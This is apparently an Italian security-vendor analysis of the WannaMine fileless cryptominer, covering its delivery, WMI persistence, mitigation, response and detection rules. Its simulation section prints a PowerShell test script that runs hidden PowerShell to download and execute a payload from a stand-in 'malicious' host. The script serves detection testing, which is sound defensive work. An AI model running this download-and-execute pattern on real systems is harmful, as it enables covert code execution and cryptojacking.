Analisi di WannaMine Cryptominer: Esecuzione Senza File e Persistenza
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
WannaMine è un worm di cryptomining senza file che si basa su strumenti che sfruttano tecniche prese in prestito dal sistema, principalmente PowerShell e Windows Management Instrumentation (WMI), per rimanere residente in memoria e minare Monero.
Indagine
WannaMine viene distribuito tramite email di phishing che trasportano file batch dannosi o sfruttando la vulnerabilità SMB EternalBlue. Per la persistenza, registra abbonamenti agli eventi WMI e archivia PowerShell codificato in classi WMI personalizzate.
Mitigazione di WannaMine
Impedire lo sfruttamento di EternalBlue applicando patch al SMB (MS17-010). Limitare l’esecuzione di PowerShell e il monitoraggio, controllare la creazione insolita di classi WMI e i consumatori di eventi, e applicare il principio del minimo privilegio per limitare l’abuso delle credenziali.
Risposta
Avvisare su comportamenti anomali di PowerShell/WMI, isolare i dispositivi interessati, rimuovere i consumatori/abbonamenti di eventi WMI dannosi, ruotare le credenziali potenzialmente esposte e effettuare analisi della memoria per confermare la presenza del miner in memoria.
Flusso di Attacco
Rilevamenti
Download o Upload tramite Powershell (via cmdline)
Visualizza
Attività di Modifica Sospetta dello Schema di Alimentazione (via cmdline)
Visualizza
LOLBAS wmic (via cmdline)
Visualizza
Download di File Sospetto IP Diretto (via proxy)
Visualizza
IOC (HashMd5) per rilevare: Come Funziona WannaMine: Un Malware Cryptominer senza File
Visualizza
IOC (Email) per rilevare: Come Funziona WannaMine: Un Malware Cryptominer senza File
Visualizza
IOC (IP Sorgente) per rilevare: Come Funziona WannaMine: Un Malware Cryptominer senza File
Visualizza
IOC (IP Destinazione) per rilevare: Come Funziona WannaMine: Un Malware Cryptominer senza File
Visualizza
Rilevamento Cryptojacking senza File di WannaMine [Creazione Processo Windows]
Visualizza
Rileva Esecuzione di Cryptominer WannaMine Senza File PowerShell [Windows Powershell]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere passato.
Ragione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa dell’Attacco & Comandi:
Un attaccante guadagna esecuzione di codice remoto su un endpoint Windows. Per evitare interazioni con l’utente, avviano PowerShell in una finestra nascosta (-W Hidden) senza profilo (-NoP) e non‑interattivo (-NonI). Il comando utilizzaIEXper scaricare un payload PowerShell da un server HTTP malevolo (http://malicious:8000/in6.ps1). Lo script scaricato registra una classe WMI chiamataOffice_Updatersottorootdefaultche memorizza una proprietàmoncontenente un miner Monero codificato in Base64. L’attaccante quindi legge la proprietà tramite[WmiClass]e la invoca, lanciando di fatto il cryptominer senza creare un nuovo processo. Questa sequenza corrisponde alle tre sottostringhe della riga di comando della regola di rilevamento. -
Script di Test di Regressione:
#------------------------------------------------- # Simula esecuzione fileless cryptominer WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Esecuzione di PowerShell nascosto, non‑interattivo $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Invoca il comando (questo è ciò che eseguirebbe l'attaccante) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Nota: Si presume che lo script remoto (in6.ps1) crei la classe WMI # con una proprietà "mon" contenente il codice di mining. -
Comandi di Pulizia:
# Rimuovi la classe WMI dannosa Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Ferma eventuali processi di miner PowerShell residui (se esistenti) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Opzionale: Cancella file di trascrizione/log di PowerShell creati durante il test Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue